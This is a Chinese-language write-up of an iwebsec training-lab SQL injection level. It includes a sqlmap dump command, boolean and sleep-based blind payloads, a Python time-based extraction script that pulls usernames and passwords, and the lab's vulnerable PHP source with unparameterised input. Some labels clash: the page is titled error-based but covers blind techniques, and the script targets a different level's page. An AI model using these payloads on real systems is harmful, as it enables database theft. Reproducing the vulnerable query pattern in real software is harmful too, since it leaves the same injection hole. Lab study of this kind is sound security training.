iwebsec-sql注入 05 报错型注入

发布时间 2023-08-18 19:15:42作者: 别打扰我摸鱼

01、题目分析:

三大盲注中的报错型注入,

image

02、sqlmap工具注入:

一把梭

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/05.php?id=1"  --current-db --dump --batch

image

03、手工注入:

盲注,简单的来讲就是无论你输入什么内容,页面都不会出现错误提示,如果查询结果正确就显示类似查询成功或者其他的,错误就不会显示。所以注入思路其实就是一个个猜,比如数据库名的长度是6个吗,看看是否正确,没显示继续猜,正确就猜数据库名第一个字母是a吗,是b吗......这样一直猜,猜出来数据库名,表名,列名,数据等等

众所周知时间注入比布尔注入耗时更久,因为布尔判断是否正确能快速回显,而时间判断是否正确只能通过页面的加载时间慢了几秒,所以也只提供思路

-- 延迟:
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);

-- 布尔:
-- 检查数据库名称的长度是否为7
and length(database())=7;
-- 检查数据库名称是否以字母 'p' 开头
and left(database(),1)='p';
-- 检查数据库名称是否以字母 'pi' 开头
and left(database(),2)='pi';
-- 检查数据库名称中的第一个字符是否为 'p'
and substr(database(),1,1)='p';
-- 检查数据库名称中的第二个字符是否为 'i'
and substr(database(),2,1)='i';
-- 检查数据库名称的第一个字符的 ASCII 码是否为 112 ('p' 的 ASCII 码)
and ord(left(database(),1))=112;

04、手工脚本注入:

这个地方直接借用refeng大佬的脚本

暴力破解法:

# @Author:refeng
import requests

url = "http://www.bdrwmy.cn:8001/sqli/04.php?id=1  and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        #爆库
        # payload = f"1=if(ascii(substr((select  database() ),{i},1))>{mid},sleep(2),1) --+"
        #爆表
        # payload = f"1=if(ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema='iwebsec' ),{i},1))>{mid},sleep(2),1) --+"
        #爆列
        # payload = f"1=if(ascii(substr((select  group_concat(column_name) from information_schema.columns where table_name='user' ),{i},1))>{mid},sleep(2),1) --+"
        #爆数据
        payload = f"1=if(ascii(substr((select  group_concat(concat_ws('~',username,password)) from iwebsec.user ),{i},1))>{mid},sleep(2),1) --+"
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)


05、代码分析:

<?php

  require_once('../header.php'); // 包含页眉文件
  require_once('db.php'); // 包含数据库连接文件
  ?>
<html>
	<head>
		<title>MySQL updatexml SQLi</title>
	</head>
	<h2>MySQL updatexml SQLi</h2>
		<div class="alert alert-success">
			<p>/index.php?id=1 </p> <!-- 提示用户可以通过访问带有'id'参数的URL来执行代码 -->
		</div>
	<body>
  <?php
  if(isset($_GET['id'])){ // 检查请求中是否设置了'id'参数
	$id=$_GET['id'];
	
	$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 构建查询语句,获取指定id的用户信息
		$result=mysql_query($sql); // 执行查询并存储结果
	}
	else{
		exit(); // 如果没有设置'id'参数,则退出脚本
	}
	if ($result) { // 如果查询成功
		?>
		<table class='table table-striped'> <!-- 创建表格来显示查询结果 -->
      <tr><th>id</th><th>name</th><th>age</th></tr> <!-- 表头 -->
		<?php
		while ($row = mysql_fetch_assoc($result)) { // 遍历结果集中的每一行
			echo "<tr>"; // 开始一个新的表行
    			echo "<td>".$row['id']."</td>"; // 显示'id'列的值
    			echo "<td>".$row['username']."</td>"; // 显示'username'列的值
    			echo "<td>".$row['password']."</td>"; // 显示'password'列的值
			echo "</tr>"; // 结束表行
		}	
		echo "</table>"; // 结束表格
	}
	else 
	{
//	echo '<font color= "#FFFFFF">';
	print_r(mysql_error()); // 显示查询执行过程中的任何错误
//	echo "</font>";  
	}
  require_once '../footer.php'; // 包含页脚文件
?>